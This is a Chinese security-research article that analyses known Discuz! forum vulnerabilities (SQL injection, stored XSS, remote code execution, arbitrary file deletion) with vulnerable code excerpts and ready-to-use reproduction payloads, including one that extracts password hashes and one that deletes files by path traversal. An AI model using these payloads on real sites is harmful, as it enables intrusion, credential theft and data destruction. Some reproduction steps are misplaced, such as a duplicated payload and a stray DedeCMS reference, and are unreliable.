Discuz!全称Crossday Discuz! Board,是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。
Discuz!论坛软件系统项目起始于 2001 年底,初创时名称为 CDB,初期只是一个利用业余时间完成的一个免费软件。在发布之后,CDB收到了众多使用者,积累了第一批用户。2002 年中到 2003 年初,CDB 开发组利用一时期的技术积累,对 CDB 的代码进行了 100% 重新编写和架构,并将 CDB 改名为 Discuz!,2003年06月 Discuz!2.0发布,Discuz!2.0是当时惟一采用编译模板系统构建的商业化产品。Discuz!真正诞生。2010年10月20日 Discuz!7.2正式版发布,Discuz!论坛软件系统已经走了近10年,论坛技术已经相对稳定。经过多年的技术积累,Discuz!在2010年与X-Space相结合,推出Discuz!X系列,Discuz!从一个社区论坛系统转型为集论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用融合于一体的建站一站式服务体系。Discuz!X系列作为主打产品,一直发展至今,受到众多用户的欢迎。
但是,Discuz!作为发展了近18年的老产品,其版本数量也多的惊人,它的一个大版本就相当于对应了一个系列,以下一张图片就可以展示Discuz!的主要版本。除去最初的CDB以及Discuz!2.0、Discuz!3.0,其余的大版本也有18个之多,我们可以看出Discuz!还有一个产品是Discuz!NT,该产品是一个ASP语言编写的论坛系统,使用量一般,本文就不过多叙述。
图 1 Discuz!版本信息
Discuz!是中国知名的社区论坛服务软件,在中国的活跃使用量数以十万计,根据全网数据统计,目前Discuz!在国内的使用量超过13W,在各省分布中,Discuz!在浙江使用量最高,位列第一;第二是北京,第三则是北京,下图2展示了Discuz!在全国范围内使用量排行前七的地域。
图 2 Discuz!使用量地域分布
Discuz!自从发布了Discuz!X系列后,Discuz!X不仅仅能是一个社交论坛系统,也是一个电子商务建站系统、内容管理系统、社交博客系统等。所以,Discuz!能被用在各行各业当中。根据全网数据统计,Discuz!X在政府部门的使用量超过250余个,同时也被用于众多高校的BBS中,并且在个人BBS建站中,占据绝对领先地位,同时也被用于众多商业领域。Discuz!建站系统推出时间很长,使用面广,但由于PHP较强的灵活性以及其他安全原因,从诞生之初就不断爆出各种高危漏洞。因此,Discuz!的安全性一直以来被备受质疑。
根据千里目实验室漏洞库的统计,Discuz!历史漏洞总量高达200余个,其中Discuz!系列由于开发时间较早,代码较不规范,漏洞较多,漏洞超过130个以上,而Discuz!X作为其主打升级产品,漏洞数量较之前Discuz!少,约为80余个。
Discuz!高危漏洞也超过40余个,其高危漏洞类型主要有以下几类:注入类、命令执行类、远程文件包含、远程文件删除漏洞等,其中SQL注入问题以及XSS注入问题是最为严重的两类,其数量超过漏洞总量的百分之80%以上,这也是与Discuz!的特性有关,作为论坛社交门户,用户可操作的地方过多,外部可控参数量多,如果未做好注入过滤以及安全性检测,就会出现很多的注入类漏洞。以下是Discuz!漏洞数量最多的五类漏洞的分布图。
图2 Discuz!漏洞类型分布
接下来,笔者将会介绍这几种漏洞类型中具有代表性的漏洞。
2.1 SQL注入漏洞
根据漏洞统计数据,SQL注入漏洞总量少于反射型XSS注入漏洞,但是均远高于其他类型漏洞。并且,从漏洞与Discuz!版本的对应关系可以看出,SQL注入漏洞主要存在于Discuz!版本当中,而在Discuz!X系列产品中,包含较少,根据笔者分析,原因主要是因为Discuz!产品较老,所处年代对安全不够重视,而Discuz!X是属于2010后产品,代码较之前较为规范,框架中包含了预防SQL注入、预防XSS注入等模块,整体减少了该系列产品中SQL注入漏洞的数量。下面,笔者将介绍几个Discuz!的经典高危害性SQL注入漏洞。
2.1.1 Discuz!7.2 faq.php SQL 注入漏洞
1.漏洞原理
该漏洞是一个Discuz!7.2版本较为典型的漏洞,Discuz!7.2是Discuz!系列的最高版本,也是最后一个专注社区论坛的版本,因此在使用量上较高。
Discuz!7.2 faq.php SQL 注入漏洞存在于文件faq.php中
} elseif($action == 'grouppermission') {
require_once'./include/forum.func.php';
require_oncelanguage('misc');
$permlang =$language;
unset($language);
$searchgroupid =isset($searchgroupid) ? intval($searchgroupid) : $groupid;
$groups =$grouplist = array();
$query =$db->query("SELECT groupid, type, grouptitle, radminid FROM{$tablepre}usergroups ORDER BY (creditshigher<>'0' ||creditslower<>'0'), creditslower");
$cgdata =$nextgid = '';
while($group =$db->fetch_array($query)) {
$group['type']= $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' :$group['type'];
$groups[$group['type']][]= array($group['groupid'], $group['grouptitle']);
$grouplist[$group['type']].= '<option value="'.$group['groupid'].'"'.($searchgroupid ==$group['groupid'] ? ' selected="selected"' :'').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' ←': '').'</option>';
if($group['groupid']== $searchgroupid) {
$cgdata= array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);
}
}
if($cgdata[0] =='member') {
$nextgid =$groups[$cgdata[0]][$cgdata[1] + 1][0];
if($cgdata[1]> 0) {
$gids[1]= $groups[$cgdata[0]][$cgdata[1] - 1];
}
$gids[2] =$groups[$cgdata[0]][$cgdata[1]];
if($cgdata[1]< count($groups[$cgdata[0]]) - 1) {
$gids[3]= $groups[$cgdata[0]][$cgdata[1] + 1];
if(count($gids)== 2) {
$gids[4]= $groups[$cgdata[0]][$cgdata[1] + 2];
}
}elseif(count($gids) == 2) {
$gids[0]= $groups[$cgdata[0]][$cgdata[1] - 2];
}
} else {
$gids[1] =$groups[$cgdata[0]][$cgdata[1]];
}
ksort($gids);
$groupids =array();
foreach($gids as$row) {
$groupids[]= $row[0];
}
$query =$db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids($groupids).")");
$groups =array();
同时,经过处理的数据进入SQL语句前,将会通过implodeids函数进行处理了一遍,implodeids函数如下:在该段代码中,首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。为什么这个操作就造成了注入?在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里,有提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体现。Discuz!在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。
function implodeids($array) {
if(!empty($array)){
return"'".implode("','", is_array($array) ? $array :array($array))."'";
} else {
return '';
}
}
我们看到第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错。最终可以构造SQL注入,进行攻击。这个函数将之前的groupids[]数据进行分割,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'
2.漏洞复现
*以下是该漏洞的复现方式。访问地址为:
siteserver/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
出现如下图页面,即利用成功:
2.1.2 Discuz! 7.2 /search.php SQL注入漏洞
1.漏洞原理
该漏洞最早见诸在乌云漏洞库中,该漏洞存在于文件/include/search_sort.inc.php中,具体代码及说明如下:
if((!$searchoption || !is_array($searchoption)) && !$selectsortid) {
showmessage('search_threadtype_invalid',
"search.php?srchtype=threadsort&sortid=$selectsortid&srchfid=$fid");
} elseif(isset($srchfid) && $srchfid != 'all' && !(is_array($srchfid) && in_array('all', $srchfid)) && empty($forumsarray)) {
showmessage('search_forum_invalid', "search.php?srchtype=threadsort&sortid=$selectsortid&srchfid=$fid");
} elseif(!$fids) {
showmessage('group_nopermission', NULL, 'NOPERM');
}
if($maxspm) {
if($db->result_first("SELECT COUNT(*) FROM {$tablepre}searchindex WHERE dateline>'$timestamp'-60") >= $maxspm) {
showmessage('search_toomany', 'search.php');
}
}
@include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php';
$sqlsrch = $or = '';
其中$selectsortid变量没有做过任何处理
@include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php';
然后进入到了170行的SQL语句中,造成了SQL注入漏洞。
$query = $db->query("SELECT tid FROM {$tablepre}optionvalue$selectsortid ".($sqlsrch ? 'WHERE '.$sqlsrch : '')."");
2.漏洞复现
*以下是该漏洞的复现方式。访问地址为:
siteserver/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
出现如下图页面,即利用成功:
2.1.3 Discuz!x3.2 misc.php SQL注入漏洞
1.漏洞原理
该漏洞存在于Discuz!X3.2版本,由于加入了Discuz!X3系列的框架中都加入了SQL注入过滤模块,所以该漏洞属于Discuz!X3系列中少有的SQL注入漏洞。我们来看一下该漏洞,漏洞存在于/source/include/misc/misc_stat.php文件中:
if(!empty($_GET['xml'])) {
$xaxis = '';
$graph = array();
$count = 1;
$begin = dgmdate($beginunixstr, 'Ymd');
$end = dgmdate($endunixstr, 'Ymd');
$field = '*';
if(!empty($_GET['merge'])) {
if(empty($_GET['types'])) {
$_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']);
}
$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
$type = 'statistic';
}
foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) {
$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";
if($type == 'all') {
foreach ($cols as $ck => $cvs) {
if($ck == 'login') {
$graph['login'] .= "<value xid='$count'>$value[login]</value>";
$graph['register'] .= "<value xid='$count'>$value[register]</value>";
} else {
$num = 0;
foreach ($cvs as $cvk) {
$num = $value[$cvk] + $num;
}
$graph[$ck] .= "<value xid='$count'>".$num."</value>";
}
}
} else {
//var_dump($value);exit;
if(empty($_GET['types']) || !empty($_GET['merge'])) {
$graph[$type] .= "<value xid='$count'>".$value[$type]."</value>";
} else {
foreach($_GET['types'] as $t) {
$graph[$t] .= "<value xid='$count'>".$value[$t]."</value>";
}
}
}
$count++;
}
$xml = '';
$xml .= '<'."?xml version=\"1.0\" encoding=\"utf-8\"?>";
$xml .= '<chart><xaxis>';
$xml .= $xaxis;
$xml .= "</xaxis><graphs>";
$count = 0;
foreach ($graph as $key => $value) {
$xml .= "<graph gid='$count' title='".diconv(lang('spacecp', "do_stat_$key"), CHARSET, 'utf8')."'>";
$xml .= $value;
$xml .= '</graph>';
$count++;
}
$xml .= '</graphs></chart>';
@header("Expires: -1")
@header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
@header("Content-type: application/xml; charset=utf-8");
echo $xml;
exit();
}
在该行代码中:
$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
将$_GET['type']数组直接用+分割,并没有过滤。并且因为位置在$field的地方,并不在单引号中,所以不用引入单引号,也无需考虑addslashes。
该漏洞利用最难的一点在于绕过Discuz!防注入模块,任何在SQL注入中用到的单双引号、小括号均无法在此用到,所以这里利用mysql的特性,一次查询两个表,将pre_ucenter_members的数据连带着查询出来,因为pre_common_statuser表中存在`daytime`这个列。而且这个表中也有uid这个列,正好可以作为pre_ucenter_members的筛选项。并且在某些情况下,`能作为注释符用。因为mysql会自动给sql语句结尾没有闭合的`闭合掉,这样,只要让mysql人为后面那一大串字符是一个字段的“别名”即可。
2.漏洞复现
*以下是该漏洞的复现方式。访问地址为:
0x01:
首先登录前台(需要有管理员权限的账户),然后访问: http://siteserver/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password%60as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
出现页面如下,则成功利用:
2.2 XSS注入漏洞
XSS注入漏洞广泛存在于Discuz!各版本当中,无论是Dicuz!还是Discuz!X都存在很多XSS漏洞,Discuz!中的XSS漏洞主要集中在反射型XSS漏洞以及存储型XSS漏洞,当然,存储型XSS漏洞的威胁性远高于反射型XSS漏洞。下来我们将介绍Discuz!漏洞中具有代表性的XSS漏洞。
2.2.1 Discuz! x3 bbcode.js 存储型XSS注入漏洞
1.漏洞原理
该漏洞的主要原因主要原因是由于/static/js/bbcode.js 文件中的 bbcode2html() 函数对 shortcode 进行正则替换时,导致可以构造 payload,让编辑器渲染时形成 XSS。
在bbcode.js文件中:
if(!fetchCheckbox('bbcodeoff') && allowbbcode) {
str = clearcode(str);
str = str.replace(/\[url\]\s*((https?|ftp|gopher|news|telnet|rtsp|mms|callto|bctp|thunder|qqdl|synacast){1}:\/\/|www\.)([^\[\"']+?)\s*\[\/url\]/ig, function($1, $2, $3, $4) {return cuturl($2 + $4);});
str = str.replace(/\[url=((https?|ftp|gopher|news|telnet|rtsp|mms|callto|bctp|thunder|qqdl|synacast){1}:\/\/|www\.|mailto:)?([^\r\n\[\"']+?)\]([\s\S]+?)\[\/url\]/ig, '<a href="$1$3" target="_blank">$4</a>');
str = str.replace(/\[email\](.[^\\=[]*)\[\/email\]/ig, '<a href="mailto:$1">$1</a>');
str = str.replace(/\[email=(.[^\\=[]*)\](.*?)\[\/email\]/ig, '<a href="mailto:$1" target="_blank">$2</a>');
str = str.replace(/\[postbg\]\s*([^\[\<\r\n;'\"\?\(\)]+?)\s*\[\/postbg\]/ig, function($1, $2) {
addCSS = '';
if(in_array($2, postimg_type["postbg"])) {
addCSS = '<style type="text/css" name="editorpostbg">body{background-image:url("'+STATICURL+'image/postbg/'+$2+'");}</style>';
}
return addCSS;
});
但是对email参数部分的 shortcode 正则替换仍能造成 XSS。新的 payload 形态为:[email]2"onmouseover="alert(2)[/email],攻击者可以将 payload 作为帖子内容或者评论,在管理员或者有权限人员对包含 payload 的帖子或者评论进行编辑时,利用 onmouseover 触发 JS 执行。
2.漏洞复现
*以下是该漏洞的复现方式
当然,首先必须进入DedeCMS的后台,进入后访问如下PoC:
首先登录前台,随便一个版块创建一个帖子,输入如下payload: [email]2"onmouseover="alert(2)[/email] 提交,然后点击编辑,则可以触发弹窗
2.3远程代码执行漏洞
2.3.1 Discuz!7.x discuzcode.func.php远程代码执行漏洞
1.漏洞原理
Discuz 7.x系列discuzcode.func.php文件中,preg_replace执行了全局变量,全局变量可cookie提交,导致产生代码执行漏洞。
首先在include/global.func.php代码中:
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
include/common.inc.php里:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);//变量引入
}
}
模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而Discuz!的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。但是还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了。为了防止这种情况,Discuz!中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
但是在PHP之后的版本request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了。在include/discuzcode.func.php文件中:
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[ /code]') || strpos($message, '[ /CODE]')) !== FALSE) {
$message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
$message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
}
......
其中:
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
让 preg_replace 加上/e 修正符,最终产生了代码执行。
2.漏洞复现
*以下是该漏洞的复现方式
首先需要登录一个前台账户,首先在一个帖子中进行回复,回复中必须带有一个表情符号。
然后访问http://serversite/viewthread.php?tid=12&extra=page%3D1,使用burpsuite抓包,在cookie中加入:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
然后就可触发phpinfo()函数。
2.3.2 Discuz!x3 convert模块远程代码执行漏洞
1.漏洞原理
Convert模块是Discuz!自动升级转换组件,该问题是由于组件中的index.php文件对newconfig参数过滤不严格,导致攻击者可以向/data/config.inc.php文件中写入任意代码,造成代码执行漏洞。
在\utility\convert\include\do_config.inc.php文件中:
<?php
/**
* DiscuzX Convert
*
* $Id: do_config.inc.php 10469 2010-05-11 09:12:14Z monkey $
*/
if(!defined('DISCUZ_ROOT')) {
exit('Access error');
}
$configfile = DISCUZ_ROOT.'./data/config.inc.php';
$configfile_default = DISCUZ_ROOT.'./data/config.default.php';
@touch($configfile);
if(!is_writable($configfile)) {
showmessage('config_write_error');
}
$config_default = loadconfig('config.default.php');
$error = array();
if(submitcheck()) {
$newconfig = getgpc('newconfig');
if(is_array($newconfig)) {
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
foreach ($checkarray as $key) {
if(!empty($newconfig[$key]['dbhost'])) {
$check = mysql_connect_test($newconfig[$key], $key);
if($check < 0) {
$error[$key] = lang('mysql_connect_error_'.abs($check));
}
} else {
$error[$key] = lang('mysql_config_error');
}
}
save_config_file($configfile, $newconfig, $config_default);
if(empty($error)) {
$db_target = new db_mysql($newconfig['target']);
$db_target->connect();
delete_process('all');
showmessage('config_success', 'index.php?a=select&source='.$source);
}
}
}
showtips('如果无法显示设置项目,请删除文件 data/config.inc.php');
$config = loadconfig('config.inc.php');
if(empty($config)) {
$config = $config_default;
}
show_form_header();
show_config_input('source', $config['source'], $error['source']);
show_config_input('target', $config['target'], $error['target']);
if($setting['config']['ucenter']) {
show_config_input('ucenter', $config['ucenter'], $error['ucenter']);
}
show_form_footer('submit', 'config_save');
?>
在newconfig数组中的key值未被处理过滤,Key值被写入文件代码中,最终造成代码执行。
2.漏洞复现
*以下是该漏洞的复现方式
POST: http://siteserver/utility/convert/index.php?a=config&source=d7.2_x2.0 newconfig[aaa%0a%0dphpinfo();//]=aaaa&submit=yes
最终出现如下页面:
注:由于该模块是用于Discuz!升级的模块,所以payload中source需要写入从低版本向高版本转化。
2.4远程文件删除漏洞
Discuz!X3.4版本以及之前版本爆发过一个远程文件删除漏洞,该漏洞利用方式简单,虽然无法GetShell,但是其破坏性是非常大的。
1.漏洞原理
首先在source/include/spacecp/spacecp_profile.php中,其中,unlink函数是该漏洞的触发点,这段代码是在结束了foreach循环操作后,再对外部$_GET进来的deletefile进行处理:
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') { @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}
代码中首先判断了外部是否含有deletefile数组,然后对$_G[‘cache&’]['profilesetting'][$key]进行判断,看里面是否有值,其中最重要的地方在于$_GET['deletefile'] as $key = $value,这一步将外部的参数赋值给了$key值,$space[$key]则是数据库中个人资料的值。我们只要把个人资料的值变为File类型,然后通过触发上面代码动作文件上传就可以执行任意文件删除漏洞了。
if($_FILES) {
$upload = new discuz_upload();
foreach($_FILES as $key => $file) {
if(!isset($_G['cache']['profilesetting'][$key])) {
continue;
}
$field = $_G['cache']['profilesetting'][$key];
if((!empty($file) && $file['error'] == 0) || (!empty($space[$key]) && empty($_GET['deletefile'][$key]))) {
$value = '1';
} else {
$value = '';
}
if(!profile_check($key, $value, $space)) {
profile_showerror($key);
} elseif($field['size'] && $field['size']*1024 < $file['size']) {
profile_showerror($key, lang('spacecp', 'filesize_lessthan').$field['size'].'KB');
}
$upload->init($file, 'profile');
$attach = $upload->attach;
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
}
}
整个漏洞的触发流程是:
修改个人信息中的字段为文件—>上传文件—>执行unlink—>删除任意文件
2.漏洞复现
*以下是该漏洞的复现方式
第一步:首先在服务器根目录下创建一个1.txt文件。
第二步:然后注册一个账号,进入前台后,使用POST方法:
POST:
http://siteserver/upload/home.php?mod=spacecp&ac=profile&op=base
birthprovince=../../../1.txt&profilesubmit=1&formhash={该页面下的formhash}
第三步:编写一个如图的HTML文件,ip端口以及formhash根据当时页面确定。
第四步:运HTML页面,上传一张图片,文件即被删除。
CMS漏洞分析已经走到了第三个模块了,回顾之前的分析成果,就如前文所说,PHP语言很灵活,开发WEB效率最高,对服务器环境要求较低,成本便宜,也易扩展,但是其安全性确实较低,高开发效率注定l 系统中很多处理逻辑不够严谨,代码不够规范。但是其开源的本质,使得众多安全研究员为它们差缺补漏,所以在这些成熟的PHP类CMS系统最新的版本中,被爆出的漏洞数量已经明显减少。其中我归纳的原因有以下几条:
1.PHP语言已经经过多年发展,PHP语言本身的安全性已有很大的提高,最终导致PHP类CMS的漏洞数量减少。
2.CMS行业竞争越来越激烈,CMS开发组也已逐渐重视安全,架构中已经加入了安全过滤模块,并且在进行持续优化。
3.代码审计以及漏洞挖掘技术现在要求较高,漏洞挖掘对绕过技巧的要求也越来越高。
但是,随着漏洞挖掘的深入,现在CMS所爆发出的漏洞危害性都很大,例如近年来PHPCMS、DedeCMS、Discuz!所爆出的漏洞,基本最终都能GetSehll,漏洞的绕过方式越难,所触及到的基本都是框架的核心点(核心框架或者核心功能)或者是薄弱点(即功能存在,但是使用量较小)。另外,从近年来爆发的漏洞来看,CMS框架的后台始终是一个“法外之地”,CMS的后台充满了任意文件上传、任意代码执行、本地文件包含等高危漏洞,而且利用条件很低,基本上只要进入后台,就可以GetShell,这方面DedeCMS是最为明显的,包括最新版本都还包含着这些漏洞。后台高危漏洞是不容忽视的一块高位领域。
安全是信息时代的生命线,安全研究人员分析漏洞的最终目的是为了更好地防御各种利用漏洞的攻击以及增强各个漏洞的检测能力。作为一个致力于Web安全的安全研究员,PHP类Web安全是我无法忽视的一个阵地。对于本文中的Discuz!,笔者经过长时间的分析与总结,为的就是提升这些漏洞的检测能力以及防御能力,最终为用户的WEB安全修上一堵墙。Dicuz!虽然使用面广,但是安全依旧较多。一个漏洞的出现,对于用户来说,那么就意味着自己的资产陷入了危险的境遇之中,所以对漏洞的提前的防御与预知,防范于未然,是很有必要的。
攻防的较量从未停止,黑帽子与白帽子间的斗争也越演越烈。在Web安全这个战场上,需要持续深入地研究,才能占有主动权。